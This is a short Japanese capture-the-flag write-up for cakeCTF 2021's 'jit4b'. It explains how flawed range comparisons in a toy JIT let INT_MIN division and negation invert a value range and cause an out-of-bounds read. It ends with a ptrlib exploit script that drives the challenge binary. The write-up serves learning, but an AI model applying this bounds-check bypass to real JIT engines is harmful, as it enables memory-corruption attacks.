cakeCTF 2021 jit4b upsolve

  • 970 Words
  1. 1. cakectf 2021 jit4b
    1. 1.1. chall
    2. 1.2. sol

cakectf 2021 jit4b

chall

省略

sol

このプログラムは各演算が定義され、それを好きなように組み合わせることができる。

今回の実装内容は、

  1. 関数を定義。
  2. INT_MINとINT_MAXを入力し、出力が0-2になるようにチェック。
  3. clientから$x$を受け取り、配列の長さ3(すべて3.14)のindexとして値を返却。

Flagを得る条件は、最終出力が3.14でない=配列外参照を起こすこと。

これは、簡単な数学で、演算が一定でないですね。(割り算のせい)

これを使っていきます。また、コードとして

1
2
3
4
5
6
inline bool operator<=(const int& lhs, const Range& rhs) {
return lhs <= rhs.min;
}
inline bool operator<(const Range& lhs, const int& rhs) {
return lhs.max < rhs;
}

なので、比較では最小比較ではrange.minと最大比較ではrange.maxで行っています。これもバグの一つですね。

例えば、INT_MIN/INT_MIN=1であるのに、INT_MAX/INT_MINでは0になりますねぇ、これってrangeはrange(1,0)で逆転します。

ということは、-1をかけてやることで、range(0,-1)で範囲外参照を起こせそうです。

1
2
3
4
5
6
7
8
9
10
11
12
from ptrlib import *

io = process("./chall")

io.sendline("4")
io.sendline(f"{-2147483648}")
io.sendline("3")
io.sendline(f"{-1}")
io.sendline("0")

io.sendline("-2147483648")
io.sh()